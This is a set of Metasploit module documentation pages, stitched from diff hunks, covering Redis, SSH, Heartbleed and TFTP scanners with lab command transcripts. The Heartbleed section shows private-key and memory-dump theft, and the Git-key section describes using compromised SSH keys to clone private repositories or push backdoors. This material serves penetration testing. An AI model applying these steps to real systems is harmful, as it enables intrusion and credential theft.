Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.
This module locates Redis endpoints by attempting to run a specified Redis command.
## Vulnerable Application
This module is tested on two different Redis server instances.
Virtual testing environments (inside docker container):
- Redis 5.0.6
- Redis 4.0.14
## Verification Steps
1. Do: `use auxiliary/scanner/redis/redis_server`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Options
**COMMAND**
Requires a valid redis command to be executed on rhosts. Defaults to `INFO`.
Redis commands list can be found [here](https://redis.io/commands).
## Scenarios
### Redis: 4.0.14 inside a docker container
```
msf5 auxiliary(scanner/redis/redis_server) > use auxiliary/scanner/redis/redis_server
msf5 auxiliary(scanner/redis/redis_server) > set RHOSTS 172.17.0.3
RHOSTS => 172.17.0.3
msf5 auxiliary(scanner/redis/redis_server) > run
[+] 172.17.0.3:6379 - Found redis with INFO command: $2701\x0d\x0a# Server\x0d\x0aredis_version:4.0.14\x0d\x0aredis_git_sha1:00000000\x0d\x0aredis_git_dirty:0\x0d\x0aredis_build_id:30850c2ae048947f\x0d\x0aredis_mode:standalone\x0d\x0aos:Linux 4.19.69-1-MANJARO x86_64\x0d\x0aarch_bits:64\x0d\x0amultiplexing_api:epoll\x0d\x0aatomicvar_api:atomic-builtin\x0d\x0agcc_version:8.3.0\x0d\x0aprocess_id:1\x0d\x0arun_id:de1d3d4547ce93ecad76de2efdbcf7ae2d456613\x0d\x0atcp_port:6379\x0d\x0auptime_in_seconds:564\x0d\x0auptime_in_days:0\x0d\x0ahz:10\x0d\x0alru_clock:10154159\x0d\x0aexecutable:/data/redis-server\x0d\x0aconfig_file:\x0d\x0a\x0d\x0a# Clients\x0d\x0aconnected_clients:1\x0d\x0aclient_longest_output_list:0\x0d\x0aclient_biggest_input_buf:0\x0d\x0ablocked_clients:0\x0d\x0a\x0d\x0a# Memory\x0d\x0aused_memory:849224\x0d\x0aused_memory_human:829.32K\x0d\x0aused_memory_rss:4464640\x0d\x0aused_memory_rss_human:4.26M\x0d\x0aused_memory_peak:849224\x0d\x0aused_memory_peak_human:829.32K\x0d\x0aused_memory_peak_perc:100.00%\x0d\x0aused_memory_overhead:836126\x0d\x0aused_memory_startup:786488\x0d\x0aused_memory_dataset:13098\x0d\x0aused_memory_dataset_perc:20.88%\x0d\x0atotal_system_memory:12010311680\x0d\x0atotal_system_memory_human:11.19G\x0d\x0aused_memory_lua:37888\x0d\x0aused_memory_lua_human:37.00K\x0d\x0amaxmemory:0\x0d\x0amaxmemory_human:0B\x0d\x0amaxmemory_policy:noeviction\x0d\x0amem_fragmentation_ratio:5.26\x0d\x0amem_allocator:jemalloc-4.0.3\x0d\x0aactive_defrag_running:0\x0d\x0alazyfree_pending_objects:0\x0d\x0a\x0d\x0a# Persistence\x0d\x0aloading:0\x0d\x0ardb_changes_since_last_save:0\x0d\x0ardb_bgsave_in_progress:0\x0d\x0ardb_last_save_time:1570434683\x0d\x0ardb_last_bgsave_status:ok\x0d\x0ardb_last_bgsave_time_sec:-1\x0d\x0ardb_current_bgsave_time_sec:-1\x0d\x0ardb_last_cow_size:0\x0d\x0aaof_enabled:0\x0d\x0aaof_rewrite_in_progress:0\x0d\x0aaof_rewrite_scheduled:0\x0d\x0aaof_last_rewrite_time_sec:-1\x0d\x0aaof_current_rewrite_time_sec:-1\x0d\x0aaof_last_bgrewrite_status:ok\x0d\x0aaof_last_write_status:ok\x0d\x0aaof_last_cow_size:0\x0d\x0a\x0d\x0a# Stats\x0d\x0atotal_connections_received:5\x0d\x0atotal_commands_processed:3\x0d\x0ainstantaneous_ops_per_sec:0\x0d\x0atotal_net_input_bytes:79\x0d\x0atotal_net_output_bytes:8191\x0d\x0ainstantaneous_input_kbps:0.00\x0d\x0ainstantaneous_output_kbps:0.00\x0d\x0arejected_connections:0\x0d\x0async_full:0\x0d\x0async_partial_ok:0\x0d\x0async_partial_err:0\x0d\x0aexpired_keys:0\x0d\x0aexpired_stale_perc:0.00\x0d\x0aexpired_time_cap_reached_count:0\x0d\x0aevicted_keys:0\x0d\x0akeyspace_hits:0\x0d\x0akeyspace_misses:0\x0d\x0apubsub_channels:0\x0d\x0apubsub_patterns:0\x0d\x0alatest_fork_usec:0\x0d\x0amigrate_cached_sockets:0\x0d\x0aslave_expires_tracked_keys:0\x0d\x0aactive_defrag_hits:0\x0d\x0aactive_defrag_misses:0\x0d\x0aactive_defrag_key_hits:0\x0d\x0aactive_defrag_key_misses:0\x0d\x0a\x0d\x0a# Replication\x0d\x0arole:master\x0d\x0aconnected_slaves:0\x0d\x0amaster_replid:0d4b69672220406a209cf68d63e22215f5bc8741\x0d\x0amaster_replid2:0000000000000000000000000000000000000000\x0d\x0amaster_repl_offset:0\x0d\x0asecond_repl_offset:-1\x0d\x0arepl_backlog_active:0\x0d\x0arepl_backlog_size:1048576\x0d\x0arepl_backlog_first_byte_offset:0\x0d\x0arepl_backlog_histlen:0\x0d\x0a\x0d\x0a# CPU\x0d\x0aused_cpu_sys:0.66\x0d\x0aused_cpu_user:0.45\x0d\x0aused_cpu_sys_children:0.00\x0d\x0aused_cpu_user_children:0.00\x0d\x0a\x0d\x0a# Cluster\x0d\x0acluster_enabled:0\x0d\x0a\x0d\x0a# Keyspace
[*] 172.17.0.3:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module scans for the Fortinet SSH backdoor and creates sessions.
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module exploits an authentication bypass in libssh server code
where a `USERAUTH_SUCCESS` message is sent in place of the expected
@@ -0,0 +1,59 @@
## Introduction
This module attempts to authenticate to Git servers using compromised SSH private keys. This module can be used to check a single key or recursively look through a directory. It will not attempt to check keys that have a passphrase, however a bruteforce attack could be launched on a key and then the passphrase could be disabled.
## Setup
1. `ssh-keygen -b 2048 -t rsa`
2. Add the RSA pubic key to a GitHub or GitLab account (Public ends in .pub)
3. Follow the usage instructions below
4. Either use KEY_FILE or KEY_DIR to specify the generated SSH private key
5. Run the module
6. Observe that it will identify the GitHub/GitLab user that this key belongs to
## Usage
```
msf5 > use auxiliary/scanner/ssh/ssh_enum_git_keys
msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > set KEY_DIR /Users/w/.ssh
KEY_DIR => /Users/w/.ssh
msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > run
Git Access Data
===============
Key Location User Access
------------ -----------
/Users/w/.ssh/id_ed25519 wdahlenburg
[*] Auxiliary module execution completed
```
## Post Exploitation
Once you have identified a Git user from an SSH key, there are two immediate possibilities.
1. Download private repositories that the owner knows
2. Modify public repositories and inject a backdoor
To begin either, the valid keys will need to be added to the current `~/.ssh/config`.
Example: Using a valid key at /Users/w/.ssh/id_ed25519
1. Write the following to `~/.ssh/config`
`Host github
User git
Hostname github.com
PreferredAuthentications publickey
IdentityFile /Users/w/.ssh/id_ed25519
`
2. Clone a repo using the key
` $ git clone github:<username>/Repo.git`
3. Alternatively, modify an existing local repo by modifying the .git/config file
```
...
[remote "origin"]
url = github:username/reponame.git
...
```
4. Any changes will be pushed using the specified key. Make sure you set the git aliases to match your target.
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module uses a malformed packet or timing attack to enumerate users on
an OpenSSH server.
@@ -32,7 +32,7 @@
**RHOSTS**
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file:/root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
**STOP_ON_SUCCESS**
@@ -104,8 +104,8 @@ msf auxiliary(ssh_login) > cat /root/ssh_hosts.lst
192.168.2.137
192.168.2.35
192.168.2.46
msf auxiliary(ssh_login) > set rhosts file://root/ssh_hosts.lst
rhosts => file://root/ssh_hosts.lst
msf auxiliary(ssh_login) > set rhosts file:/root/ssh_hosts.lst
rhosts => file:/root/ssh_hosts.lst
msf auxiliary(ssh_login) > set verbose false
verbose => false
msf auxiliary(ssh_login) > set threads 4
@@ -34,7 +34,7 @@
**RHOSTS**
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file:/root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
**STOP_ON_SUCCESS**
@@ -0,0 +1,34 @@
## Description
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
This module identifies the version of SSH service in use by the server based on the server's banner. Any SSH server should return this information.
## Vulnerable Application
This module is tested on several different SSH services, such as:
- Virtual testing environment: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
- `github.com`: SSH-2.0-babeld-38be96bc
- `gitlab.com`: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
## Verification Steps
1. Do: `use auxiliary/scanner/ssh/ssh_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Scenarios
### SSH-2.0 on GitHub
```
msf5 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS github.com
RHOSTS => github.com
msf5 auxiliary(scanner/ssh/ssh_version) > run
[+] 140.82.118.4:22 - SSH server version: SSH-2.0-babeld-38be96bc
[*] github.com:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,383 @@
## Vulnerable Application
The heartbleed bug was extremely well [documented](http://heartbleed.com), but essentially boils down to a client being able to specify
how much memory is retrieved from the server when performing a TLS heartbeat. This results in an arbitrary memory read, where an attacker
is able to read the contents of memory.
### Install OpenSSL 1.0.1d on Ubuntu 18.04
The following commands will download OpenSSL 1.0.1d, build and install it.
Finally, we'll use the built in `s_server` to start the service to be scanned.
`install_sw` is used to prevent an `install` [error](https://askubuntu.com/questions/454575/error-255-when-trying-to-install-openssl-1-0-1g-from-source).
```
sudo apt-get install build-essential
wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1d.tar.gz
tar -zxf openssl-1.0.1d.tar.gz && cd openssl-1.0.1d
./config
sudo make
sudo make install_sw
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
/usr/local/ssl/bin/openssl s_server -key key.pem -cert cert.pem -accept 44330 -www
```
If you receive `gethostbyname failure` error in `openssl`, add the client (metasploit)
IP and hostname to your hosts file.
## Verification Steps
1. Install a vulnerable OpenSSL, start the service
2. Start msfconsole
3. Do: ```use auxiliary/scanner/ssl/openssl_heartbleed```
4. Do: ```set rhosts [ip]```
5. Do: ```set action [ACTION]```
6. Do: ```run```
## Options
**Action**
* SCAN: Scan the host to see if it is vulnerable. If `verbose` is set to `true`, also print the memory that was dumped. This is the default.
* DUMP: Dump the memory and store it as loot.
* KEYS: Similar to DUMP but scan the results for the private key.
**TLS_CALLBACK**
Protocol to use if a specific underlying protocol is required. Default is `None`.
**TLS_VERSION**
The specific version of TLS (or SSL) to use, if only specific ones are avaialble. Defaults to `1.0` (TLS1.0).
**MAX_KEYTRIES**
If Action is set to `KEYS`, the maximum amount of times to dump memory and attempt to retrieve the private key.
Similar to `LEAK_COUNT` but only applies to `KEYS`. Default is `50`.
**STATUS_EVERY**
If Action is set to `KEYS`, how often the status should be printed. Default is `5`.
**DUMPFILTER**
A regular expresion (used in scan function) to use to filter the dump before storing. Default is `nil`.
**RESPONSE_TIMEOUT**
How long to wait for the server to respond in seconds. Default is `10`.
**LEAK_COUNT**
If Action is set to `SCAN` or `DUMP`, the maximum amount of times to dump memory.
Similar to `MAX_KEYTRIES`. Default is `1`.
## Advanced Options
**HEARTBEAT_LENGTH**
How much memory should attempt to be retrieved. Default is `65535`.
**XMPPDOMAIN**
If `jabber` is selected for `TLS_CALLBACK`, the domain to use. Default is `localhost`.
## Scenarios
### SCAN against s_server on Ubuntu 18.04 with OpenSSL 1.0.1d
With the default action of `SCAN` we can determine if the server is vulnerable or not.
```
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222
rhosts => 222.222.2.222
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rport 44330
rport => 44330
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
[+] 222.222.2.222:44330 - Heartbeat response with leak, 65535 bytes
[*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### KEYS against s_server on Ubuntu 18.04 with OpenSSL 1.0.1d
In order to help elicit the keys, we can run the following code to help populate memory with
the keys:
```
watch 'cat openssl-1.0.1d/key.pem; cat openssl-1.0.1d/cert.pem'
```
```
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action KEYS
action => KEYS
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
[*] 222.222.2.222:44330 - Scanning for private keys
[*] 222.222.2.222:44330 - Getting public key constants...
[*] 222.222.2.222:44330 - 2019-10-13 01:32:17 UTC - Starting.
[*] 222.222.2.222:44330 - 2019-10-13 01:32:17 UTC - Attempt 0...
[+] 222.222.2.222:44330 - 2019-10-13 01:32:18 UTC - Got the private key
[*] 222.222.2.222:44330 - -----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7ax3L0LRt5uZQTFOiJkX2xRn9ww/G87gMkMBAdeEzph7a2/i
C4stnajh9NsUbACv+dt8mtwgh0Vg4lMaI5iB9lXlqfsR17vIsW+/AZXj3Eo+B0QU
l8MpVilDvm3Hee0tE9NGLMR+Vk1Eq0UL+w7Gc/IswkFtj8XGMQ3Jc6OaJ6Ofh5hF
VlmyQBrtwvZ/20g5KtMbZFv1XX28bjEd47qfTo8nrnCsrjD7h7R42GrRw9hhvWse
sEa9VyTwQF0W8mxTYFx/7evXeJNVw1drmhJrxpGfb9gl8qzQgf6PQoi1LXaPAdk5
1cshKeGXmcA+1FR5HOdvWEqzCjMxApzdExNSgwIDAQABAoIBACmdYAT7ayL98JiU
nI6YV6/5Y7bDAy3ITEMgrkV3Sf6ufjWykl65ENShJGcuEOZUPHvALZIj5uIoiK04
JcSDyIWsRpk7p8UhUSOYUFZju1DwAupcxkpIVq2Kbh0itaGooJLvFEN0aDaOMu7W
GSHtVVwp1CJzOE7LL0eZhWNlCvHTgwwobaAUYEyrDmkOdWskMC3RGu5JrrfKTK+5
VUwMMAJ7Wf+d+xeTrNHwGGdEvHd23p1B1E3+axG0XqxI7wODz14iAWgd1zp2gSq2
Ji/II0E8Okwl3AR0d8SD0cJeEPHWlrr/6LzBUTHanDBGe2SXP/SMFSvyEpoPw/s8
vovI1okCgYEA8Ju7TuE4V2UQjZi8qcNAFnbxfcS9bk8S+BBKkgKtMY6wZT8h03fP
ouYot1IaRxMVlErrUeVtD/YKD+nhNFFYZGCSChjAhvf1rq/wzRILWpdGZ3SF9UuR
NlNpH1DcVZPOdTxCJ8DfjY72m/ugYysorQdmo9L58BhMKbfp9aHOR0cCgYEA/OCs
73xWEECKS7of0B+3CKriYT7fROu5wP9gFl3/FR8q7275TG2Iwg0rDz4NLGJhcVQ8
4bNAz+OglxqXkIVOf5Cuj8DibAw2JTr+MP5wQUaB0fPdwPcNw/fBq68x/+UpdcM2
B98b2uykN3Q2Zd2g3VVrKUOb4yJlE1EEvVrt8OUCgYEAq6oQe3jIn+Hla4D7qgs6
IE0AgwDpPliAaigFbCMoumDZjYL7eUrUA58+kXysbuU40jKZrjaIF4ktKKlvGcqn
zAXya+24/xLOYLH6lfU30Ix5mLpUEOy3UBE2wTcJ3Ky18oLpmD9NwEutuyBOEDLs
tHbBTkTqOdi8Dk+/RpcI+2UCgYEAj5qDeqiwMyCDqMd0w3sPNTPdxP2wSvJWlVww
0+LjNbpyZnAt0JIvZIuX1VsWngrsbTA6Nq3V83i/vK+UPLUHQ/gEuYv+yP8STIg4
y9fiJZ+Fn5YOa0OhJJVw/S9LhJc9uSt3Znbz2ZojE37CWYzHiom0hkVnpE/m+FY9
C880amUCgYAw8b+F3iBCEzioeUWW62c89yQaV0Ci/BQgvkhLsRRZr5hlt8+NWjSv
Nx2YT7eEcEIMOzOYF0zUH/gLo7UbZXGk/GlupqWP7kumwALz5Hu3gnx5+c69A0yL
FbawD4i1LZxrihOuuy3nt34hIlprjtW2WV49NiWnbwEzZo6ejm5NRg==
-----END RSA PRIVATE KEY-----
[*] 222.222.2.222:44330 - Private key stored in /root/.msf4/loot/20191012213218_default_222.222.2.222_openssl.heartble_250185.txt
[*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### DUMP against s_server on Ubuntu 18.04 with OpenSSL 1.0.1d
```
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP
action => DUMP
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
[+] 222.222.2.222:44330 - Heartbeat response with leak, 65535 bytes
[+] 222.222.2.222:44330 - Heartbeat data stored in /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin
[*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > cat /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin
[*] exec: cat /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin
]OghE_.[MTb΋kf
"!985
32ED/A
@DA8u- b,Y'LՄձ3-bt`;ˋz4
`wVnvvx'`Y$H |k Eޞ=AGxA
afD9IWϋ3/VsD%|Z;1FF)vCny7mN1v/&YT@e3DʗOpc,yqGgz`^sMk*OuEl]%<,@SзN ""ct{ujЦ*Na\{5vRNW-4S^0be7=rJ>D)V)Cmy-F,~VMDE
s'EVY@H9*[]}n1㺟N'p0xjakFW$@]lS`\xUWko%ЁB-v9!)ᗙ>TyoXJ
31RS0Q0U]v%C#*B|c
K0U#0]v%C#*B|c
K0U00 *H
^#
怅W7Gwn*wFcR~l8C*]@g+;=|8b߬3
1ŏmA,sl1vdmi^y}52'sMG U2[N^p](*\3(icU{
EDMV~,F-ymC)V)×D>JoȻU#S`E ܚ|l᨝-
ok{΄C2
gN1AB/w!)UB/w)U#%\ rVA#_
m&r]J
;/_
rDWMZt0JbBU
|ƭ6,sd7s8$,I|'
Xj%uj}Ya'KsVc.vn:
Bcq)GLy0Ta&aZ*q/#)-ހYiR3rb)
5EX?3w`>"pΦq/}=9'PuJ]ȝ?l]cR$-mH,D^Ș{5xoS-ݴ;v]I@ÁK7H
i,ut~
߃u*nw.fU RXy^|0udhF>-ynŠ1PW
Ii/|+l)Nvc3U7Xud@oz(Lk 0R|75j^%'L;S,"5 ӕv;{q)W
zJX>j;ftDQEz/Rݜ13
1ŏmA,s)!9v-BЬ%okkWUx\`Sl]@$WFkajx0p'N1n}][d*9H@YVE's
EDMV~,F-ymC)V)×D>JoȻU#S`E ܚ|l᨝-
ok{΄C2
gN1AB/wq)U!Ɠ)U)`0)U@ɓ)U!`)U!@)U!@)UB/w15EX?3w`>"pΦq/}=9'PuJ]ȝ?l]cR$-mH,D^Ș{5xoS-ݴq)U!)U8NE<GGΡ)Lңf(+c'B<uΓUPiS6KtgFZ
`dXQ4
mQJGR(w!?e1JOn}v@éeW8Np3)U A)U @'/111oI,Щ\ͭr&1wۯH#
GeOIBu1X^vͭ|Q^vXC8'aYu!࿕)U1Y"&
AWGЊ!)U\7ڊ!p)U)U `)U\7ڊ!)U\7ڊ!p)U\7ڊ! )U0)U P)U\сFAp0:%6U\7ڊ!)U\7ڊ \7ڊ!\7ڊ )U 01)U1)UA)UA0)UAapד)U1)UZQe"C)kUݠe6t76u)1
mLn*]`D>aK@V|Õ)U<!!b{CM>
[A8%ŪY6K
XA5jXq'}cuͶW9*5g3Q a7ڊa7ڊĕ)Uĕ)UP W(E
[&(yu0.IVt1fEI̮N;]2&^} #ƂT|i2&~<Q;TBTAﴕ:/H^Wx]͓!@@c7ڊ@c7ڊPd)UPd)Ulocalhost
::1 localhost6.localdomain6 localhost6
111.111.1.111 client
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
<%NO#&+-91,qksNV^I
n
jgd0`*H yM,0
0E1
0 UAU10U
Some-State1!0U
201011031638Z0E1 Pty Ltd0
0 UAU10U
Some-State1!0U
0ernet*Hits Pty Ltd0"0
w/BѷA1Ng
?2CׄΘ{ko
-l| E`S#U׻ȱoJ>D)V)Cmy-F,~VMDE
s'EVY@H9*[]}n1㺟N'p0xjakFW$@]lS`\xUWko%ЁB-v9!)ᗙ>TyoXJ
31RS0Q0U]v%C#*B|c
K0U#0]v%C#*B|c
K0U00 *H
^#
怅W7Gwn*wFcR~l8C*]@g+;=|8b߬3
Ѓ"l1vdmi^y}52K?!MG U2[N^p](*\3(icU{
GA8u- b,Y'LՄձ3-bt`;ˋz4
`wVnvvx'`Y$H |k Eޞ=AGxA
afD9IWϋ3/VsD%|Z;1FF)vCny7mN1v/&YT@e3DʗOpc,yqGgz`^sMk*OuEn=*LX-*Na\{5vRNW-4S^0be7=r+A`d)Upt)U@qU)U0;)U1)bߜؐ0x.! 4H\A
GeOIB*H@q yM,0
0E1
0 UAU10U
Some-State1!0U
201011031638Z0E1 Pty Ltd0
0 UAU10U
Some-State1!0U
0ernet*Hits Pty Ltd0"0
w/BѷA1Ng
?2CׄΘ{ko
-l| E`S#U׻ȱoJ>D)V)Cmy-F,~VMDE
s'EVY@H9*[]}n1㺟N'p0xjakFW$@]lS`\xUWko%ЁB-v9!)ᗙ>TyoXJ
31RS0Q0U]v%C#*B|c
K0U#0]v%C#*B|c
K0U00 *H
^#
怅W7Gwn*wFcR~l8C*]@g+;=|8b߬3
Ѓ"l1vdmi^y}52qUpѓ)U D)U!]v%C#*B|c*\3(icU{
K!)U!)U!]v%C#*B|c
K!B)U'U0ؓ)U8)U0)U@)U 9)U0)U`)U)U)U)U
GeOPϓ)U U0v'UX'UX'Ub'Ub'Ub'Up'UW'Ua'q'Um'Uxt'UQ@)UAwۯH#
GeOIBu)U)U@!В)U!)U !p)U !)UÒ)U !)U 1U)UQ )UAoI,Щ\ͭr&)U@!1Y"&
AWGЊ`)U!Б)U\7ڊ! )U\7ڊ!<)U\7ڊ Ò)U\7ڊ1p)U!@)U\7ڊ`)U1@)U0QAY"&
AWGЊ@10)Uq0)U)URݜ13
1ŏmA,s)!9v-BЬ%okkWUx\`Sl]@$WFkajx0p'N1n}][d*9H@YVE's
EDMV~,F-ymC)V)×D>JoȻU#S`E ܚ|l᨝-
ok{΄C2
gN1AB/w)U,܁$zK
k졽N"AEV<)HNm[syw62]Q=Mx,f.|E=,nD9 h3F4~n
ZdZ*wc\l`Hԑ0TnzBeժ+e A#AV̗
]vMɸ=O@ʘEf!J3Cvj[t.Rc{.cyݵu&$n*!51ЊغjxfۢԐ`cdB83Hn7ȩ՜kui2B}o~/n$ JbqFBv9IMt'VuL5Z
&'TO (y
`~Ie:cdn]"g}J\plAFvKkR1:? ٭ -@_B|BSfcVES]V^Bm
@z?_@D~o]
1
VWS\J%҅]%q)U108R6kCl2!S|GjG>w8q_C9
{=on 3Eb1p|%h<a:bhj-6Z2w!pB)U@)U!f{?Py0\,s/ޫ5ơ{*{N#W",VWa#a9k?b9濞~e^MQ nwxZ%1ŏmA,s's
EDMV~,F-ymC)V)×D>JoȻU#S`E ܚ|l᨝-
ok{΄C2
gN1AB/w!)U)U#%\ rVA#_
m&r]J
;/_
rDWMZt0JbBU
|ƭ6,sd7s8$,I|'
Xj%uj}Ya'KsVc.vn:
Bcq)GLy0Ta&aZ*q/#)-ހYiR3rb)
5EX?3w`>"pΦq/}=9'PuJ]ȝ?l]cR$-mH,D^Ș{5xoS-ݴ :v)6jInldP-1ɾ
DyEl"e#Ǽ-<KN{<T&E:YDʎc#Ih5<-yұST$mU8||jS.ϖW~dj訦Dx&օUGjb'0hр.:WapX'XN7esC'ɒ$(bM܍Rݜ13
1ŏmA,s)!9v-BЬ%okkWUx\`Sl]@$WFkajx0p'N1n}][d*9H@YVE's
EDMV~,F-ymC)V)×D>JoȻU#S`E ܚ|l᨝-
ok{΄C2
gN1AB/wq)U!Ɠ)U)``)U@ɓ)U!)UB/w!@)U!@)UB/w15EX?3w`>"pΦq/}=9'PuJ]ȝ?l]cR$-mH,D^Ș{5xoS-ݴq)U!)U8NE<GGΡ)Lңf(+c'B<uΓUPiS6KtgFZ
`dXQ4
mQJGR(w!?e1JOn}v@éeW8Np3)U A)U @'/!]7ڊ!\7ڊ<)U 0)U1)U1)UAǕ)U 1\7ڊ\7ڊ0 \7ڊ!)U!9)!)U!@<)U !`;)U!0ӓ)1Q%cʹ!kaliUnR0h"!ĝjfx&~!\7ڊ!ĝjfx&~111
VWS\J%҅]%qA`'Uѓ)Uջ'UA'U)Uջ'UAP)Uד)U0)Ua1 ĕ)U`p0Lfp^=6=qnw90D}citG=xсFAp0:%6GhF(UTDw'leG`}9-ZQe"C)kUݠe6t76u)1
mLn*]`D>aK@V|q'UHn'Uv'U0v'UX'UX'Ub'Ub'Ub'Up'UW'Ua'q'Um'Uxt'U t'UxS'UpR'UPo'Uk'UXO'U`q'Um'Uu'U(u'UV'UV'U`f'f'U]'U\'Uo'U8l'UU'Ue'U['Up'U@m'Un'Uk'UM'UHM'U S'UR'UO'UR'UQ'UN'UM'UL'UA)UA@a7ڊ@a7ڊ@Ǖ)U@Ǖ)UW(E
[&(yu0.IVt1fEI̮N;]2&^} #ƂT|i2&~<Q;TBTAﴕ:/H^Wx]͓!]ObCZAgwitZy
```
The contents of `/etc/hosts` is visible in this file, as it was edited to prevent the `gethostbyname failure` issue previously noted.
### Utilizing repeat
Because arbitrary memory is dumped, a high volume application that uses openSSL will cycle potentially valuable data
fairly often. The `repeat` command can be used to execute the module multiple times.
```
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222
rhosts => 222.222.2.222
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP
action => DUMP
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -n 10 run
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using NMAP
Utilizing the [ssl-heartbleed](https://nmap.org/nsedoc/scripts/ssl-heartbleed.html) script, we can replicate
the `SCAN` action.
```
# nmap -p 44330 --script ssl-heartbleed 222.222.2.222
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 17:52 EDT
Nmap scan report for ubuntu1804.romain (222.222.2.222)
Host is up (0.0017s latency).
PORT STATE SERVICE
44330/tcp open unknown
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://cvedetails.com/cve/2014-0160/
|_ http://www.openssl.org/news/secadv_20140407.txt
MAC Address: 00:0C:29:AA:AA:AA (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
```
@@ -0,0 +1,55 @@
## Vulnerable Application
This module attempts to find files on a TFTP server. The default wordlist is [tftp.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/tftp.txt).
This module will NOT attempt to download the entire file, it simply pulls the first 3 bytes to verify the file exists.
### Install
On Kali 2019.4 (rolling) one of the TFTP server is the package `tftpd-hpa`. This can be installed as follows:
```
apt-get install tftpd-hpa
systemctl start tftpd-hpa
```
This creates the root tftp directory in `/srv/tftp`.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/scanner/tftp/tftpbrute```
4. Do: ```run```
## Options
**DICTIONARY**
The newline separated list of files to find. Default depends on install location, however it will be within `metasploit-framework/data/wordlists/tftp.txt`.
## Scenarios
### tftpd-hpa on Kali linux
First, create a file to find:
```
echo "hello world" > /srv/tftp/test.txt
```
Now we can find the file:
